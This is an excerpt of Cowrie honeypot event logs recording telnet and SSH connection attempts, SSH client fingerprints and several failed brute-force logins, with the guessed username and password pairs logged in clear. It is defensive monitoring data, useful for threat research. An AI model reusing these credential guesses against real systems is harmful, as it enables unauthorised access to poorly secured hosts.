{"eventid":"cowrie.session.closed","duration":30.20284128189087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:31.205913Z","src_ip":"162.241.114.254","session":"1c8067df08d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":47084,"dst_ip":"10.17.0.5","dst_port":23,"session":"37d3ce0ae877","protocol":"telnet","message":"New connection: 162.241.114.254:47084 (10.17.0.5:23) [session: 37d3ce0ae877]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:31.728648Z"}
{"eventid":"cowrie.session.closed","duration":31.263071537017822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:32.630013Z","src_ip":"162.241.114.254","session":"8e53b77977ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":43182,"dst_ip":"10.17.0.5","dst_port":23,"session":"848189c3558c","protocol":"telnet","message":"New connection: 137.184.155.248:43182 (10.17.0.5:23) [session: 848189c3558c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:32.761185Z"}
{"eventid":"cowrie.session.closed","duration":31.43505311012268,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:33.059041Z","src_ip":"103.249.100.206","session":"bf15581405c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":53546,"dst_ip":"10.17.0.5","dst_port":23,"session":"db8eda692f82","protocol":"telnet","message":"New connection: 103.249.100.206:53546 (10.17.0.5:23) [session: db8eda692f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:34.949807Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":49412,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcb77bd5d158","protocol":"telnet","message":"New connection: 162.241.114.254:49412 (10.17.0.5:23) [session: dcb77bd5d158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:35.067397Z"}
{"eventid":"cowrie.session.closed","duration":30.239545583724976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:35.180074Z","src_ip":"162.241.114.254","session":"6cedc3bfda82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":48750,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ec227199f75","protocol":"telnet","message":"New connection: 162.241.114.254:48750 (10.17.0.5:23) [session: 9ec227199f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:35.229328Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":49642,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9bf88b1b4b4","protocol":"telnet","message":"New connection: 162.241.114.254:49642 (10.17.0.5:23) [session: d9bf88b1b4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:35.351332Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.98.118","src_port":45912,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd72ea12da9b","protocol":"ssh","message":"New connection: 43.157.98.118:45912 (159.203.135.109:22) [session: dd72ea12da9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:35.642697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:35.663321Z","src_ip":"43.157.98.118","session":"dd72ea12da9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:35.755877Z","src_ip":"43.157.98.118","session":"dd72ea12da9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123@123","message":"login attempt [root/Abc123@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:36.456761Z","src_ip":"43.157.98.118","session":"dd72ea12da9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":55450,"dst_ip":"10.17.0.5","dst_port":23,"session":"442ff4c49e5b","protocol":"telnet","message":"New connection: 103.249.100.206:55450 (10.17.0.5:23) [session: 442ff4c49e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:36.780108Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:37.551678Z","src_ip":"43.157.98.118","session":"dd72ea12da9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.160577297210693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:38.823553Z","src_ip":"103.249.100.206","session":"a2edf6bf72f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":52588,"dst_ip":"10.17.0.5","dst_port":23,"session":"b41092eb208e","protocol":"telnet","message":"New connection: 162.241.114.254:52588 (10.17.0.5:23) [session: b41092eb208e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:40.812305Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":53504,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1d014764304","protocol":"telnet","message":"New connection: 162.241.114.254:53504 (10.17.0.5:23) [session: f1d014764304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:40.974205Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":53750,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e6700e09e8","protocol":"telnet","message":"New connection: 162.241.114.254:53750 (10.17.0.5:23) [session: b1e6700e09e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:41.476474Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":60448,"dst_ip":"10.17.0.5","dst_port":23,"session":"5275cb16b12e","protocol":"telnet","message":"New connection: 103.249.100.206:60448 (10.17.0.5:23) [session: 5275cb16b12e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:41.779575Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":54336,"dst_ip":"10.17.0.5","dst_port":23,"session":"9061630f031d","protocol":"telnet","message":"New connection: 162.241.114.254:54336 (10.17.0.5:23) [session: 9061630f031d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:42.257462Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.238.80.67","src_port":44324,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea81d5da3ad","protocol":"telnet","message":"New connection: 216.238.80.67:44324 (10.17.0.5:23) [session: 8ea81d5da3ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:42.466085Z"}
{"eventid":"cowrie.session.closed","duration":30.778400182724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:42.527339Z","src_ip":"103.249.100.206","session":"74da6b5b1c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.100.206","src_port":33420,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d96501598d1","protocol":"telnet","message":"New connection: 103.249.100.206:33420 (10.17.0.5:23) [session: 4d96501598d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:42.921980Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":54364,"dst_ip":"10.17.0.5","dst_port":23,"session":"d640c8d2f9f3","protocol":"telnet","message":"New connection: 162.241.114.254:54364 (10.17.0.5:23) [session: d640c8d2f9f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:43.356261Z"}
{"eventid":"cowrie.session.closed","duration":30.11388111114502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:46.205271Z","src_ip":"162.241.114.254","session":"24bbab815922","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.937151193618774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:46.315049Z","src_ip":"216.238.80.67","session":"1850126d8e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":39846,"dst_ip":"159.203.135.109","dst_port":22,"session":"b63349ed4a71","protocol":"ssh","message":"New connection: 114.141.59.195:39846 (159.203.135.109:22) [session: b63349ed4a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:47.731465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:47.735908Z","src_ip":"114.141.59.195","session":"b63349ed4a71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":58018,"dst_ip":"10.17.0.5","dst_port":23,"session":"13596d6a0dc2","protocol":"telnet","message":"New connection: 162.241.114.254:58018 (10.17.0.5:23) [session: 13596d6a0dc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:47.843052Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:48.047161Z","src_ip":"114.141.59.195","session":"b63349ed4a71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCD","message":"login attempt [root/ABCD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:49.028982Z","src_ip":"114.141.59.195","session":"b63349ed4a71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.27.90.142","src_port":60850,"dst_ip":"159.203.135.109","dst_port":22,"session":"0543fbdab55b","protocol":"ssh","message":"New connection: 178.27.90.142:60850 (159.203.135.109:22) [session: 0543fbdab55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:49.536838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:49.541602Z","src_ip":"178.27.90.142","session":"0543fbdab55b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":49708,"dst_ip":"10.17.0.5","dst_port":22,"session":"84f519a8e0fd","protocol":"ssh","message":"New connection: 2.57.122.238:49708 (10.17.0.5:22) [session: 84f519a8e0fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:49.643532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:49.650451Z","src_ip":"2.57.122.238","session":"84f519a8e0fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:49.653901Z","src_ip":"178.27.90.142","session":"0543fbdab55b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:49.751346Z","src_ip":"2.57.122.238","session":"84f519a8e0fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":59340,"dst_ip":"10.17.0.5","dst_port":23,"session":"e78e6ad4a0bb","protocol":"telnet","message":"New connection: 162.241.114.254:59340 (10.17.0.5:23) [session: e78e6ad4a0bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:49.774301Z"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:50.054631Z","src_ip":"2.57.122.238","session":"84f519a8e0fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweQWE@","message":"login attempt [root/123qweQWE@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:50.079953Z","src_ip":"178.27.90.142","session":"0543fbdab55b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:50.271773Z","src_ip":"114.141.59.195","session":"b63349ed4a71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.47195267677307,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:50.996399Z","src_ip":"162.241.114.254","session":"177aacba0abb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:51.158305Z","src_ip":"2.57.122.238","session":"84f519a8e0fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:51.183726Z","src_ip":"178.27.90.142","session":"0543fbdab55b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.480804204940796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:51.370820Z","src_ip":"162.241.114.254","session":"2255b7baccab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.17.208.12","src_port":53840,"dst_ip":"10.17.0.5","dst_port":23,"session":"55e098fc7d61","protocol":"telnet","message":"New connection: 47.17.208.12:53840 (10.17.0.5:23) [session: 55e098fc7d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:54.120176Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":33846,"dst_ip":"10.17.0.5","dst_port":23,"session":"591cccbc1d2c","protocol":"telnet","message":"New connection: 162.241.114.254:33846 (10.17.0.5:23) [session: 591cccbc1d2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:54.667807Z"}
{"eventid":"cowrie.session.closed","duration":30.982775688171387,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:54.732538Z","src_ip":"162.241.114.254","session":"db406e6018b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":33888,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3e247c5afc1","protocol":"telnet","message":"New connection: 162.241.114.254:33888 (10.17.0.5:23) [session: c3e247c5afc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:54.779368Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.211.152.138","src_port":41594,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4eadf848251","protocol":"ssh","message":"New connection: 102.211.152.138:41594 (159.203.135.109:22) [session: a4eadf848251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:55.981667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:55.986879Z","src_ip":"102.211.152.138","session":"a4eadf848251","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:56.094728Z","src_ip":"102.211.152.138","session":"a4eadf848251","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!QAZ2wsx","message":"login attempt [ubuntu/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:56.557430Z","src_ip":"102.211.152.138","session":"a4eadf848251","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.114.254","src_port":35372,"dst_ip":"10.17.0.5","dst_port":23,"session":"17878cf1a21f","protocol":"telnet","message":"New connection: 162.241.114.254:35372 (10.17.0.5:23) [session: 17878cf1a21f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:17:57.203980Z"}
